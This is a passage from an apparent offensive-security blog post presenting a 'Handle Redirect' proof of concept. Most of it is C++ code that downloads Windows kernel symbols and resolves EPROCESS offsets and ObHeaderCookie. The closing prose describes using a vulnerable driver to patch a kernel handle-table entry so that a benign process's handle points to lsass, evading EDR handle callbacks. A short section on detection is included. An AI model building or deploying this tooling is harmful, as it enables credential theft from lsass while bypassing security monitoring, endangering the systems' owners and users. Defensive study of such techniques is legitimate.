WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); return false; }
HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE) : nullptr;
auto closeAll = [&] {
if (hReq) WinHttpCloseHandle(hReq);
if (hConn) WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
};
if (!hReq) { closeAll(); return false; }
if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hReq, nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
closeAll();
return false;
}
DWORD status = 0, statusLen = sizeof(status);
WinHttpQueryHeaders(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
return false;
}
// Read body in chunks
std::vector<BYTE> body;
body.reserve(32 * 1024 * 1024);
BYTE chunk[65536];
DWORD rd = 0;
while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
body.insert(body.end(), chunk, chunk + rd);
closeAll();
if (body.empty()) {
printf("[-] Empty response from symbol server\n");
return false;
}
HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
return false;
}
DWORD wr = 0;
WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
CloseHandle(hFile);
printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
return true;
}
// DbgHelp Symbol Resolution
struct SymFindCtx {
const char* name;
DWORD64 address;
bool found;
};
struct TypeFindCtx {
const char* name;
ULONG typeIndex;
bool found;
};
static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* s = static_cast<SymFindCtx*>(ctx);
if (_stricmp(pInfo->Name, s->name) == 0) {
s->address = pInfo->Address;
s->found = true;
return FALSE;
}
return TRUE;
}
static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* t = static_cast<TypeFindCtx*>(ctx);
if (_stricmp(pInfo->Name, t->name) == 0) {
t->typeIndex = pInfo->TypeIndex;
t->found = true;
return FALSE;
}
return TRUE;
}
// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if (!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return 0;
}
return ctx.address - modBase;
}
// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return 0;
}
DWORD childCount = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
childCount == 0)
return 0;
// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
std::vector<BYTE> paramBuf(paramSz, 0);
auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
params->Count = childCount;
params->Start = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return 0;
// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t wField[256];
MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);
for (DWORD i = 0; i < childCount; i++) {
WCHAR* nameW = nullptr;
if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;
bool match = (_wcsicmp(nameW, wField) == 0);
LocalFree(nameW); // DbgHelp allocates with LocalAlloc
if (match) {
DWORD offset = 0;
SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
return offset;
}
}
printf("[-] Field not found: %s::%s\n", structName, fieldName);
return 0;
}
static bool ResolveKernelOffsets(KernelOffsets& out) {
// Locate ntoskrnl.exe
char sysDir[MAX_PATH];
if (!GetSystemDirectoryA(sysDir, MAX_PATH)) return false;
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);
// Extract CodeView PDB info from PE debug directory
PdbCodeViewInfo pdbInfo{};
if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
return false;
}
// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
pdbName = &pdbInfo.PdbFileName[i + 1];
break;
}
}
printf("[*] PDB: %s Age: %lu\n", pdbName, pdbInfo.Age);
// Local cache path: %TEMP%\<pdbname>
char tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);
// Validate cached PDB by checking its MSF stream-1 GUID
bool needDownload = true;
DWORD attr = GetFileAttributesA(localPdb);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
GUID cachedGuid{};
if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
needDownload = false;
}
else {
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
}
}
if (needDownload) {
wchar_t pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
return false;
}
}
// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
// Use a unique fake handle so DbgHelp doesn't collide with any real process
HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if (!SymInitialize(hSym, nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
return false;
}
wchar_t localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);
const DWORD64 kFakeBase = 0x10000000ULL;
DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
kFakeBase, 0, nullptr, 0);
if (modBase == 0) {
DWORD err = GetLastError();
if (err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
return false;
}
modBase = kFakeBase; // already loaded
}
printf("[+] PDB loaded at base 0x%llX\n", modBase);
// Resolve EPROCESS field offsets
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
out.ObHeaderCookie = ResolveSymbolRva(hSym, modBase, "ObHeaderCookie");
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return 1;
}Proof of Concept
Detection
This technique is hard to detect at the callback level by design. ObRegisterCallbacks never fires on lsass because we never open a handle to it, but still has various detection vectors:
Handle table scanning: a security product running at kernel level can periodically scan all process handle tables and compare ObjectPointerBits decoded EPROCESS against the process that owns the table. A mismatch (notepad handle pointing to lsass EPROCESS) is anomalous
BYOVD detection: the primitive requires a vulnerable driver. Remain the strongest detection layer here
Conclusions
Handle Redirect is a technique that exploits the kernel's trust in its own handle table. The kernel does not verify that the object a handle entry points to belongs to the process that opened the handle. It just follows the pointer
By patching ObjectPointerBits in _HANDLE_TABLE_ENTRY, we redirect a benign handle to a sensitive process without generating any observable handle creation event. ObRegisterCallbacks, the main EDR hook for handle monitoring, never fires
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.